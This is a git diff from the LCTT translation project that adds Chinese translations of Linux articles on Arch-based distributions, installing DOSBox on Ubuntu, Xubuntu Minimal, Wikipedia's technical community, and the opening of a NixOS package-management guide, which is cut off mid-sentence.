https://img.linux.net.cn/data/attachment/album/202303/09/113944o6m8mdqmgmq1ey8y.jpg \ No newline at end of file diff --git a/published/20230304.0 ⭐️⭐️ Top 5 Best Arch Linux Distros For Everyone.md b/published/20230304.0 ⭐️⭐️ Top 5 Best Arch Linux Distros For Everyone.md new file mode 100644 index 0000000000..ca45001060 --- /dev/null +++ b/published/20230304.0 ⭐️⭐️ Top 5 Best Arch Linux Distros For Everyone.md @@ -0,0 +1,199 @@ +[#]: subject: "Top 5 Best Arch Linux Distros For Everyone" +[#]: via: "https://www.debugpoint.com/best-arch-linux-distros/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15600-1.html" + +5 个最好的 Arch Linux 衍生发行版,适合所有人 +====== + +> 我们点评了 2023 年最好的 Arch Linux 发行版,并探讨了它们的关键亮点,以便在你为工作流程选择它们之前加以考虑。 + +![][0] + +如果你是一个寻找强大而灵活的操作系统的 Linux 爱好者,那么 Arch Linux 是值得考虑的。Arch Linux 以其灵活性、定制化选项和极简设计而闻名。 + +它是那些喜欢 DIY,想从头开始构建自己的系统的 Linux 爱好者的热门选择。开发人员、程序员和游戏玩家经常选择 Arch Linux,因为它采用滚动发布模式,确保可以获得最新的应用程序和模块。 + +然而,设置 Arch Linux 可能令人生畏,特别是对初学者来说。这就是为什么有几个基于 Arch Linux 的发行版,它们旨在使安装和设置过程更容易,更方便用户使用。 + +与基于 Debian 的发行版相比,基于 Arch Linux 的发行版并不多。 + +**但是,你如何决定哪一个最适合你呢?** + +好吧,你可以考虑几个在一般的使用情况下的常见因素。有几个标准可以列举如下: + +- 安装的简易性(独立系统或双引导) +- 用户友好性 +- 自定义选项 +- 预先配置的软件包 +- 常规维护 +- 专业的硬件支持 +- 社区帮助 + +在这份最佳 Arch Linux 衍生发行版清单中,我们探讨了现有的最佳发行版,看看它们如何满足普通用户的上述要点。 + +### 5 个最好的 Arch Linux 衍生发行版,适合所有人 + +#### EndeavourOS + +EndeavourOS 是一个基于 Arch Linux 的轻量级和用户友好的发行版,旨在提供一个无忧的 Arch Linux 体验。它带有预装的桌面环境和预配置的软件包,让人很容易开始上手 Arch Linux。 + +它是三年前新推出的 Arch Linux 衍生发行版之一。由于它对 Arch Linux 用户体验的独特处理方式,在很短的时间内它就变得很受欢迎。 + +![EndeavourOS Cassini 桌面(Xfce 4.18)][2] + +目前它被推荐为这个列表中第一的原因是: + +- 它使用了一个 **友好的 Calamares 安装程序**,对于双启动或独立系统来说,效果非常好。 +- 提供了 **专门的硬件支持**,如英伟达驱动程序和 ARM 镜像。 +- EndeavourOS 的 **社区帮助** 非常棒,在 Telegram 频道和论坛的响应更快。 +- 初次使用的用户可以通过友好的点击式操作来管理和更新 Arch Linux 系统。 +- 它配备了 **现代的桌面环境**,如 Xfce、KDE Plasma、GNOME 和一些窗口管理器。 +- 经验丰富的技术团队,以 **坚实的目标** 提供最好的 Arch Linux 发行版体验。 + +使用下面的下载链接试试吧。如果你想进一步探索,我们还有 [安装指南][3] 和 [Endeavour OS 评测][4]。 + +> **[下载 EndeavourOS][5]** + +#### Manjaro Linux + +本列表中的第二个发行版是 Manjaro Linux,它是另一个优秀的 Arch Linux 衍生发行版,并且经过了时间的考验。这个发行版的主要目标是通过提供开箱即用的功能,使无论是初学者还是高级用户都能享受到 Arch Linux。 + +![Manjaro 21.0 Ornara 桌面(Xfce)][6] + +以下是 Manjaro Linux 的一些主要特点和优势,这些特点和优势使它成为每个人的完美 Arch Linux 衍生发行版。 + +- **用户友好的界面和桌面环境**:Manjaro Linux 带有 Xfce、KDE Plasma、GNOME、Budgie、Cinnamon 和 MATE 等桌面产品提供的简单易用的界面。此外,你也可以使用 i3 和 Sway 窗口管理器的定制版。 +- **稳定性和 AUR 支持**:Majaro 会在 Arch Linux 进行重大更新的几天内得到更新。此外,它还设置了一个 Arch 用户库(AUR),提供大量的软件集合。 +- **桌面管理**:配备了 Pamac 软件管理器,可以轻松通过 GUI 进行软件和软件包的安装。 +- **安装**:Calamares 安装程序使在双启动或独立系统中的安装变得简单。此外,你可以购买带有 Manjaro 的 OEM 笔记本电脑,这些笔记本电脑也带有 Docker 镜像! +- **社区支持**:在本列表中的所有 Arch Linux 衍生发行版中,Manjaro 的使用率很高,所以你可以在网上获得大量的问题解决方案。此外,Manjaro 论坛的支持也很好。 + +你可以使用下面的链接下载 Manjaro Linux。要进一步探索,请阅读我们最近发表的 [Manjaro Linux 测评][7]。 + +> **[下载 Manjaro][8]** + +#### Garuda Linux + +本列表中的第三个 Arch 发行版是 Garuda Linux,它主要针对那些希望使用 Arch 发行版进行游戏的用户。不过,你也可以把它用于其他用途。 + +它配备了几乎所有流行的桌面和窗口管理器,如 KDE、Xfce、GNOME、LXQt-win、Cinnamon、Mate、Wayfire、Qtile、i3wm 和 Sway。因此,你的选择很广泛。 + +Garuda Linux 提供最好的特性之一是默认的 BTRFS 文件系统和 Zstd 压缩,可以让你的现代高端硬件有更好的性能。 + +![Garuda Linux 桌面(2022)][9] + +下面是一些使其脱颖而出的主要特点和优势: + +- 为在 Arch Linux 进行游戏做好了准备。 +- 通过 GameMode 和 Gamemode-Tools 对 Steam 和 Lutris 提供了内置支持。 +- 可以选用所有主要桌面和窗口管理器。 +- 自定义主题和图标,看起来非常漂亮。 +- 大量的预编译软件包,包括流行的 Chaotic-Aur。 + +> **[下载 Garuda Linux][10]** + +#### ArcoLinux + +ArcoLinux 是一个基于 Arch Linux 的用户友好型的高级发行版,它带有预装的桌面环境和一套预配置的软件包。它还包括一些工具和脚本,可以使 Arch Linux 的使用体验更加友好。 + +![ArcoLinux 桌面][11] + +ArcoLinux 与本列表中的所有发行版有些不同。它有四个不同的产品,它们是: + +- ArcoLinux XL:旗舰版本,具有完整的软件包,带有 Xfce。 +- ArcoLinux XS:带有主线、LTS、Xanmod 和 Zen 等四种可选内核的极简变体,带有 Xfce。 +- ArcoLinuxD:极简变体,没有桌面或软件包;需要你自己安装。 +- ArcoLinuxB:极简变体,可以选择你的桌面和精简的软件。 + +正如你所看到的,它的设计相当独特。此外,如果你是 Arch Linux 的爱好者,你可以试试 ArcoLinux,这对你来说将是一个很好的学习经验。 + +该团队还提供了 1000 多个关于 ArcoLinux 的各种指南视频。请到下面的链接进行下载。另外,如果你想了解更多关于各种产品的信息,请访问 [此页面][12]。 + +> **[下载 ArcoLinux][13]** + +#### ArchLabs Linux + +还记得 BunsenLabs Linux 吗?ArchLabs Linux 旨在成为具有 BunsenLabs Linux 外观的极简 Arch Linux 发行版。 + +它具有 dk 窗口管理器、tint2 面板和各种预装的应用程序,旨在提供一个简单而高效的桌面环境。ArchLabs Linux 是高度可定制的,并提供了各种工具和脚本,使用户能够轻松地配置和个性化他们的系统。 + +![极简的 ArchLabs Linux][14] + +它是那些希望获得 Arch Linux 的灵活性和滚动发布更新的好处,但又喜欢更多用户友好和预先配置的桌面环境的用户的热门选择。 + +对于每个喜欢极简主义和窗口管理器的人来说,Arch Linux 是一个完美的发行版。 + +> **[下载ArchLabs Linux][15]** + +### 还有几个 Arch Linux 发行版 + +所以,上面这些是我们认为最好的五个。然而,还有一些 Arch Linux 衍生发行版也同样优秀,但与上述名单相比,使用量可能较少。 + +以下是其中的一些,以及为什么它们同样是最好的。 + +**[Mabox Linux][16]**:它是一个用户友好的、基于 Manjaro Linux 的轻量级 Linux 发行版。它的特点是 Openbox 窗口管理器,这是一个简单而高效的桌面环境,可以根据用户的喜好进行定制。 + +**[Archcraft Linux][17]**:它是一个基于 Arch Linux 的极简 Linux 发行版。它使用窗口管理器和轻量级应用程序,这使得它的速度超快。它预先配置了各种设置,为你提供了最好的开箱即用的窗口管理器体验。Archcraft Linux 使用 Calamares 系统安装程序进行安装,并包括 yay 软件包管理器,以方便从 Arch 用户资源库(AUR)中获取软件。 + +**[Bluestar Linux][18]**:它是一个使用 Arch Linux 作为基础的 Linux 发行版。它的目标是提供一个坚实的操作系统,在不影响美观的情况下,具有广泛的功能和易用性。 + +### 其他新发行版 + +此外,最近还推出了一些 Arch Linux 发行版,为 Arch Linux 提供了不同的使用方式。这些都试图在各种因素上做到独一无二。下面是其中的一些,以及它们的主要区别特征。你可能想看看它们,进一步探索基于 Arch Linux 的发行版。 + +- [XeroLinux][19](拥有惊人的外观) +- [Exodia OS][20](基于 BSPWM 的 Arch Linux) +- [Crystal Linux][21](完美结合了 GNOME 和 Arch Linux) +- [Hefftor Linux][22](基于 Xfce 和 Plasma 的时尚发行版) + +### 总结 + +总之,Arch Linux 是一个高度可定制和灵活的发行版,许多资深的 Linux 用户都很喜欢。 + +无论你的需求或工作流程是什么,你都可以尝试这个列表中的东西。在有疑问时,可以尝试本列表中前三个发行版中的任何一个。 + +虽然对初学者来说可能会有畏难情绪,但这些 Arch Linux 发行版旨在提供更友好的用户体验,而不牺牲使 Arch Linux 如此受欢迎的灵活性和定制选项。 + +我希望你能找到令你感到舒适的 Arch Linux 发行版,能够满足你的需求。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/best-arch-linux-distros/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed/ +[1]: https://www.debugpoint.com/wp-content/uploads/2023/03/arch-head2.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/12/EndeavourOS-22Cassini22-Desktop-with-Xfce-4.18.jpg +[3]: https://www.debugpoint.com/endeavouros-install-guide/ +[4]: https://www.debugpoint.com/web-stories/endeavouros-review/ +[5]: https://endeavouros.com/download/ +[6]: https://www.debugpoint.com/wp-content/uploads/2021/03/Manjaro-21.0-Ornara-Desktop-Xfce.jpg +[7]: https://www.debugpoint.com/manjaro-linux-review-2022/ +[8]: https://manjaro.org/download/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/05/Garuda-Linux-Desktop-2022.jpg +[10]: https://garudalinux.org/downloads.html +[11]: https://www.debugpoint.com/wp-content/uploads/2023/03/ArcoLinux-desktop.jpg +[12]: https://www.arcolinux.info/arcolinux-editions/ +[13]: https://www.arcolinux.info/downloads/ +[14]: https://www.debugpoint.com/wp-content/uploads/2023/03/Minimal-ArchLabs-Linux.jpg +[15]: https://archlabslinux.com/get/ +[16]: https://www.debugpoint.com/mabox-linux-2022/ +[17]: https://www.debugpoint.com/archcraft-os-review/ +[18]: https://sourceforge.net/projects/bluestarlinux/ +[19]: https://www.debugpoint.com/install-xerolinux-arch/ +[20]: https://www.debugpoint.com/exodia-os-first-look/ +[21]: https://www.debugpoint.com/crystal-linux-first-look/ +[22]: https://www.debugpoint.com/hefftor-linux-review/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/06/075045kkwxmjwrzrelxypd.jpg \ No newline at end of file diff --git a/published/20230305.0 ⭐️ Install DOSBox in Ubuntu to Play Retro Games.md b/published/20230305.0 ⭐️ Install DOSBox in Ubuntu to Play Retro Games.md new file mode 100644 index 0000000000..eb2ec3d0ba --- /dev/null +++ b/published/20230305.0 ⭐️ Install DOSBox in Ubuntu to Play Retro Games.md @@ -0,0 +1,160 @@ +[#]: subject: "Install DOSBox in Ubuntu to Play Retro Games" +[#]: via: "https://itsfoss.com/ubuntu-dosbox/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15619-1.html" + +在 Ubuntu 中安装 DOSBox 来玩复古游戏 +====== + +![][0] + +DOSBox 是一款自由开源的软件,它可以让你模拟上个世纪的 MS-DOS 操作系统。 + +你为什么要这么做呢?因为怀旧:它可以让你游玩在 80 年代和 90 年代流行的 8 位游戏。 + +这其中包含了马里奥、魂斗罗、DOOM 等传奇游戏。 + +听起来不错吧?让我介绍一下如何在 Ubuntu 中安装 DOSBox。我还会向你展示如何在 DOSBox 中安装并游玩复古游戏。 + +DOSBox 也可以在其他 Linux 发行版中使用。除了安装部分,其余的指令应该对所有发行版都有效。 + +> ✋🏻 DOS 是一个主要基于命令行的操作系统。使用 DOSbox 需要使用终端。 + +### 在 Ubuntu 中安装 DOSBox + +DOSBox 包可以在 [Universe 软件仓库][1] 中找到。这个仓库应该已经被启用了,所以可以使用下面的命令来安装 DOSBox: + +``` +sudo apt install dosbox +``` + +完成之后,从系统菜单中启动 DOSBox。 + +或者,你也可以使用终端来启动 DOSBox: + +``` +dosbox +``` + +**需要首先运行一次,因为它会为我们创建一个配置文件。实际上,第一次启动时不需要做任何事情,因为它会创建配置文件。** + +然后在 DOSBox 终端中执行 `exit` 命令来关闭 DOSBox: + +``` +exit +``` + +![][2] + +如果你想要调整配置,配置文件位于 `~/.dosbox/dosbox-[版本].conf`。 + +在这个配置文件中,你可以调整几乎所有的东西,比如在启动 DOSBox 时进入全屏模式,更改核心等等。 + +但是(对我来说)启用全屏模式会使事情变得更糟,并且必须重新登录才能进入默认模式: + +![DOSBox 全屏模式错误][3] + +**所以,除非你知道你在做什么,否则不要修改配置。** + +### 在 DOSBox 中安装游戏 + +你可以从互联网档案馆的软件库中访问数百款流行游戏。 + +> **[从互联网档案馆下载游戏][4]** + +每款游戏都有自己的 zip 文件,其中包含 .exe 文件。下载你喜欢的游戏。 + +然后,在你的主目录中[创建一个新目录][5],命名为 `dosbox`,并为你下载的游戏创建目录: + +``` +mkdir ~/dosbox && cd ~/dosbox +mkdir [游戏名称] +``` + +我下载了马里奥。你可以给目录起任何名字。这里没什么要求,只是为了管理游戏而已。 + +![在 Linux 中创建目录][6] + +然后,将 `.zip` 文件解压到你刚刚创建的 `dosbox` 目录中: + +![解压文件到 dosbox 目录][7] + +如果你想的话,你也可以在终端中 [使用 unzip 命令][8] 来做同样的事情: + +``` +unzip ~/Downloads/MARIO.zip -d ~/dosbox/mario/ +``` + +当你完成之后,启动 DOSBox: + +``` +dosbox +``` + +然后,将游戏挂载到虚拟 C 驱动器上: + +``` +mount c ~/dosbox/mario +``` + +![将游戏挂载到虚拟 C 驱动器上][9] + +然后,切换到虚拟 C 驱动器: + +``` +c: +``` + +![切换到虚拟 C 驱动器][10] + +最后,通过输入游戏的文件名来启动游戏: + +``` +mario +``` + +然后,享受游戏吧。 + +![在 Ubuntu 中玩马里奥][11] + +### 想要更多复古的东西? + +如果你有不再使用的旧电脑或者树莓派,你可以把它们变成复古游戏机。有很多 Linux 项目就是为了这个目的而存在的。 + +> **[把你的电脑变成复古游戏机的 Linux 发行版](https://itsfoss.com/retro-gaming-console-linux-distros/)** + +为什么只玩游戏呢?你也可以把复古的计算机终端带回来。 + +> **[用 Cool Retro Terminal 获得一个复古的 Linux 终端](https://itsfoss.com/cool-retro-term/)** + +希望该指南对你有所帮助。你是如何在 Linux 上玩游戏的?在评论中告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ubuntu-dosbox/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed/ +[1]: https://itsfoss.com/ubuntu-repositories/ +[2]: https://itsfoss.com/content/images/2023/02/run-DOSBox-on-ubuntu.png +[3]: https://itsfoss.com/content/images/2023/02/full-screen-error-on-DOSBox.png +[4]: https://archive.org/details/softwarelibrary_msdos_games?tab=collection&ref=its-foss +[5]: https://itsfoss.com/make-directories/ +[6]: https://itsfoss.com/content/images/2023/02/create-a-directory-in-linux--1.png +[7]: https://itsfoss.com/content/images/2023/02/extract-file-to-the-dosbox-directory-1.png +[8]: https://learnubuntu.com/unzip-file/?ref=its-foss +[9]: https://itsfoss.com/content/images/2023/02/mount-the-game-to-the-virtual-C-drive.png +[10]: https://itsfoss.com/content/images/2023/02/switch-to-the-virtual-drive-C.png +[11]: https://itsfoss.com/content/images/2023/02/play-mario-on-Linux.gif +[0]: https://img.linux.net.cn/data/attachment/album/202303/12/091038c81kxkmhdonj1mkm.jpg \ No newline at end of file diff --git a/published/20230306.0 ⭐️ Xubuntu Minimal Opportunity to Build Your Own Distro.md b/published/20230306.0 ⭐️ Xubuntu Minimal Opportunity to Build Your Own Distro.md new file mode 100644 index 0000000000..772d29449c --- /dev/null +++ b/published/20230306.0 ⭐️ Xubuntu Minimal Opportunity to Build Your Own Distro.md @@ -0,0 +1,111 @@ +[#]: subject: "Xubuntu Minimal: Opportunity to Build Your Own Distro" +[#]: via: "https://www.debugpoint.com/xubuntu-minimal/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15613-1.html" + +精简版 Xubuntu:建立你自己的发行版的机会 +====== + +> Xubuntu 团队从 23.04 版本开始推出了一个包含少量组件的精简 ISO。以下是它的情况。 + +![][1] + +几天前,Canonical [宣布][2],Ubuntu 23.04 “Lunar Lobster” 版本官方的精简 ISO 安装文件正在制作中。虽然截至发稿时,该镜像还没有出现,但 Xubuntu 团队设法推出了他们自己的精简 ISO 安装镜像。 + +Xubuntu 被数百万人使用,并且一直是许多其他发行版的基础。对于一些用户来说,默认安装可能带有太多的预装包和功能,导致系统臃肿,计算机性能降低。这就是 Xubuntu 精简安装发挥作用的地方。在这篇文章中,我们将采取实践的方式来安装和探索精简版 Ubuntu 的功能。 + +让我们看看你在 Xubuntu 精简安装中得到了什么,以及与普通桌面安装程序的比较。 + +### Xubuntu 精简安装 + +第一个明显的区别是精简安装与标准桌面安装程序的 ISO 镜像大小。它的大小大约减少了 39%。 + +| | 精简版 | 标准版 | +| - | - | - | +| 桌面安装程序(ISO)大小 | 1.7 GB | 2.8 GB | + +在使用精简版安装程序安装 Xubuntu 时,你不会在 Ubiquity 中看到“精简安装minimal install”的选项。其余的安装步骤都是一样的,没有区别。 + +然而,主要的区别是在安装的系统上。最小安装只需要 7.2GB 的磁盘空间,而同一版本的标准安装则需要 11GB。 + +| | 精简版 | 标准版 | +| - | - | - | +| 磁盘使用空间 | 7.2 GB | 11 GB | + +因为许多应用程序被剥离了。 + +![Xubuntu 精简和标准安装比较][3] + +在 Xubuntu 的精简安装中,你会得到以下东西: + +- 终端 +- 文件管理器 +- 所有的设置应用 +- Synaptic 包管理器 +- 屏幕截图应用 + +就这些了。 + +如果你把它与标准版相比,你就不会有以下的应用: + +- Firefox 浏览器 +- Thunderbird 邮件客户端 +- 媒体播放器(音频和视频) +- LibreOffice 套件 +- Transmission Torrent 客户端 +- GNOME 软件 +- 游戏 +- Gigolo 远程连接客户端 +- 磁盘使用工具 + +### 精简版 Xubuntu 上的 Snap 包 + +令我惊讶的是,精简版 Xubuntu 没有安装 Snap!甚至连 Snap 守护程序都没有。而且也没有 Flatpak。 + +所以,实际上你得到的是一个没有 Snap 的 Xubuntu 系统,但有一个核心的 Ubuntu 基础。 + +![看,没有 Snap][4] + +但我不确定主 Ubuntu 的精简 ISO 会有同样的情况。我想我们需要等待和观察。 + +### 接下来是什么? + +所以,现在你有了一个初级的 Xubuntu 桌面。使用 Synaptic 包管理器,你可以开始构建和安装你喜欢的应用。 + +例如,你可以 [设置 Flatpak][5] 并从一个基本的浏览器、媒体播放器、LibreOffice 等开始。 + +如果你是一个开发者,你可以安装 Visual Studio Code 或一些 IDE。 + +以这个版本为基础,你可以为你的工作流程建立任何发行版。 + +### 总结 + +Xubuntu 精简安装对于那些想要完全控制他们系统上安装的东西,并且喜欢更快、更有效的基于 Ubuntu 的发行版的用户来说是一个很好的选择。 + +Xfce 的可定制性、轻量级特性和使用 synaptic 的包管理使它成为任何定制构建的理想选择。 + +你可以从这个 [页面][6] 下载精简版 ISO。记住,它还没有正式发布,而且是一个日常构建的副本。所以使用它要**谨慎**。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/xubuntu-minimal/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed/ +[1]: https://www.debugpoint.com/wp-content/uploads/2023/03/xubuntu1.jpg +[2]: https://linux.cn/article-15588-1.html +[3]: https://www.debugpoint.com/wp-content/uploads/2023/03/Xubuntu-minimal-and-standard-install-comparison.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2023/03/Look-no-snap.jpg +[5]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[6]: https://cdimage.ubuntu.com/xubuntu/daily-live/current/ \ No newline at end of file diff --git a/published/20230306.2 ⭐️ How Wikipedia helps keep the internet open.md b/published/20230306.2 ⭐️ How Wikipedia helps keep the internet open.md new file mode 100644 index 0000000000..d8ba2a61f0 --- /dev/null +++ b/published/20230306.2 ⭐️ How Wikipedia helps keep the internet open.md @@ -0,0 +1,81 @@ +[#]: subject: "How Wikipedia helps keep the internet open" +[#]: via: "https://opensource.com/article/23/3/how-wikipedia-helps-keep-internet-open" +[#]: author: "Srishti Sethi https://opensource.com/users/srishakatux-0" +[#]: collector: "lkxed" +[#]: translator: "onionstalgia" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15637-1.html" + +维基百科是如何帮助保持互联网的开放性的 +====== + +![][0] + +> 维基百科体现了互联网最初愿景的精神,而你也可以成为其中的一部分。 + +维基百科是最有意义的开源软件项目之一,原因之一是它远比你想象的庞大。而且,任何人都可以贡献内容,并且任何人都可以为项目背后的许多技术领域贡献代码,确保维基百科正常运行。 + +[超过 870 个维基百科及其附属网站][1] 提供了多语言版本,它们服务于一个共同目标,“开发自由的教育内容,并有效地在全球范围内传播”。例如,维基共享资源Wikimedia Commons 是一个自由的媒体文件库,截至今天,它已经拥有超过 6800 万张图片。维基文库Wikisource 是一个自由的文本资源库,拥有超过 500 万篇文章和 72 种语言的活跃网站子域名。维基数据Wikidata 是一个可访问的数据存储库,包含被 [多个与维基百科相关的网站][2] 所使用的超过 9900 万个数据项。 + +这些项目由 维基媒体基金会Wikimedia Foundation 支持和维护,它是一个总部位于旧金山的非营利组织。基金会使全球数十万名志愿者为项目的自由知识作出贡献。在这个知识收集和生产的社区背后,有着大量的维护、技术支持和管理工作,以保持网站的正常运转。当然,从外部来看,你可能仍然好奇,开发维基百科的软件还需要做哪些工作。毕竟,它可是世界上最受欢迎的十大网站之一,致力于提供最好的信息。 + +事实上,每篇维基百科的文章都借助了成千上万的软件工具来创建、编辑和维护。这些步骤,确保了你在世界任何地方都能获得公平可靠快速的信息。当你浏览维基百科或任何其他维基网站时,你是在与一个称之为 [MediaWiki][3] 的软件交互,这是一个强大的团队协作文档软件,用以支持维基百科的内容。它有一些默认特性,而为了进一步增强软件的功能,你可以安装各种扩展。数不胜数的扩展中,最著名的两个是: + +- VisualEditor:一种适用于 MediaWiki 驱动的维基站点的 所见即所得WYSIWYG 富文本编辑器。 +- Wikibase:用于存储、管理和访问维基百科从 维基数据Wikidata 上拉取的结构化数据。 + +所有这些优秀的辅助工具使现代维基百科愈发完善并正常运行,每一个都至关重要。 + +### 维基百科和 MediaWiki + +总体来说维基百科的技术生态是非常庞大的!MediaWiki 是维基媒体世界中最受欢迎的软件之一,遵循开源代码许可,已经有超过四十万个项目和组织使用它来托管内容。例如,NASA 使用它来组织有关太空任务的内容和知识库! + +此外,还有许多其他机器人、工具、桌面和移动应用可以帮助用户访问、创建、编辑和维护内容。例如,机器人可以自动化重复繁琐的任务,可以用来对抗恶意破坏、向新手推荐文章、进行文章事实核查等,这大大减轻了编辑的工作负担。InternetArchiveBot 也是个十分流行的机器人,常用于与 网站时光机Wayback Machine 通信,修复维基百科上的死链。 + +上文中的 “工具”,指的是支持贡献者们工作的软件。比如,组织者可以使用这些 “工具” 开展 编辑松editathons、举办各种活动、开设维基百科编辑教育课程等。截至 2022 年 5 月,机器人和工具的贡献占 870 个维基媒体编辑总量中的 36.6%,足以证明它们在整个生态中举足轻重。 + +Kiwix 是一款知名的离线阅读器桌面应用,它可以在网络连接有限的区域,特别是教育场所中提供对维基百科的访问。维基百科和维基共享资源的移动应用,也允许编辑者通过他们的移动设备贡献文章和媒体文件,这使我们的知识平台更加普及化,能够面向全球更广泛的受众。 + +下次当你浏览维基百科时,发现了文章在近期发生相关事件后有频繁的实时更改,你就能更好地想象屏幕后在发生什么啦。 + +### 维基百科的技术社区 + +维基百科启动于 2001 年,当时仅有约十名开发人员。自从 2003 年维基媒体基金会成立以来,开发人员的数量在近年里大幅增长。现在,约有一千名开发人员正在为知识运动中的各种项目做出贡献。这个数字每年都会波动,这取决于活跃贡献者和工作人员的数量、支持志愿开发人员的计划、以及全球性事件(如大流行)等因素。 + +技术社区的成员以各种方式和角色做出贡献。比如代码贡献者、文档编写、设计师、倡导者、导师、社区组织者、测试人员、翻译人员、网站管理员等。 + +根据一项关于新开发者的调查,维基媒体和其他开源项目一样,吸引了许多来自美国、欧洲和印度的贡献者,在世界各地不断壮大。 + +志愿开发者和维基百科编辑者有类似的动机。他们成为贡献者,是来支持自由知识事业、学习和获得新技能、改善其他编辑者的体验等等。来自印度的一位志愿开发者说:“我最初其实是作为编辑者加入的,但我还是着手摸索维基百科背后的技术,因为印地语维基百科社区中,能够通过技术手段解决我们当地语言需求的贡献者实在太少了。” + +在 2021 年 7 月至 2022 年 6 月期间,仅考虑托管在维基媒体 Gerrit 实例中的代码仓库,514 名开发人员在 1225 个存储库中进行了 45,621 次合并改动。这些贡献中,48.52% 来自维基媒体基金会之外的其他组织和 [独立开发人员][7]。其中一些开发人员还是不同地区的用户组、分会和附属机构的成员,致力于推广使用维基媒体项目和鼓励贡献。这些数字还不包括选择在外部托管代码的额外开发人员,或直接托管在维基页面上的代码,例如小工具或模块。 + +### 有所作为 + +维基百科是一个可供所有人使用的庞大知识库。在许多方面,它体现了互联网的最初愿景:作为信息、理解和协作的来源。 + +你可以作为贡献者成为维基百科的一份子,无论是通过在文章中分享你的知识,还是通过帮助构建使其所有工作成为可能的软件。如果你有兴趣加入维基媒体的技术社区,请浏览我们的开发者网站上的资源,并学习如何 [参与其中][8]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/how-wikipedia-helps-keep-internet-open + +作者:[Srishti Sethi][a] +选题:[lkxed][b] +译者:[onionstalgia](https://github.com/onionstalgia) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/srishakatux-0 +[b]: https://github.com/lkxed/ +[1]: https://wikimediafoundation.org/our-work/wikimedia-projects/#a1-reference +[2]: https://meta.wikimedia.org/wiki/Wikimedia_wikis +[3]: https://www.mediawiki.org/wiki/MediaWiki +[4]: https://wikistats.wmcloud.org/ +[5]: https://wikimediafoundation.org/news/2016/05/05/mediawiki-nasa/ +[6]: https://meta.wikimedia.org/wiki/Kiwix +[7]: https://wikimedia.biterg.io/ +[8]: https://developer.wikimedia.org/ +[0]: https://img.linux.net.cn/data/attachment/album/202303/17/094522xwmr76zb7hwnlfxy.jpg \ No newline at end of file diff --git a/published/20230306.3 ⭐️ NixOS Series 3 Install and Remove Packages in NixOS.md b/published/20230306.3 ⭐️ NixOS Series 3 Install and Remove Packages in NixOS.md new file mode 100644 index 0000000000..1735de7245 --- /dev/null +++ b/published/20230306.3 ⭐️ NixOS Series 3 Install and Remove Packages in NixOS.md @@ -0,0 +1,301 @@ +[#]: subject: "NixOS Series #3: Install and Remove Packages in NixOS" +[#]: via: "https://itsfoss.com/nixos-package-management/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15645-1.html" + +NixOS 系列 #3:在 NixOS 中安装和删除软件包 +====== + +NixOS 中的打包系统是它最强大的地方。Nix 软件包管理器使用的语法与 `apt`、`dnf` 和其他软件包管理器大不相同。 + +这也是 [人们应该尝试使用 NixOS 的原因之一][1]。 + +在本指南中,我将分享两种在 NixOS 上安装和删除软件包的方法: + +- 使用 Nix 软件包管理器 +- 使用 `configuration.nix` 配置文件 + +> ⚠️ 使用 Nix 软件包管理器,你只能安装软件包,而不能安装 OpenSSH 或 Plex 服务器等服务。对于服务的安装,你必须使用 Nix 配置文件。 + +要安装任何软件包,必须知道它的确切名称,为此,我将从如何在 NixOS 中搜索软件包开始。 + +### 搜索软件包 + +要寻找软件包,你可以使用它的 [网页搜索][2]。 + +你可以使用如下步骤: + +- 在搜索栏中输入软件包的名称 +- 选择适当的软件包(从给出的描述中决定) +- 点击 “nix-env” 标签页 +- 复制 NixOS 命令(第一条) + +例如,如果我想要 `librewolf` 包,我将执行以下操作: + +![使用 Nix 软件包管理器的网络搜索寻找软件包][3] + +你也可以通过终端做同样的事情。 + +要使用终端搜索软件包,你可以按照给定的命令语法进行: + +``` +nix-env -qaP --description [软件包名称] +``` + +例如,在这里,我搜索了 `librewolf`: + +![使用终端搜索 NixOS 中的软件包][4] + +你必须复制输出的第一行,因为那是你需要安装的软件包的名称。 + +在这里它是 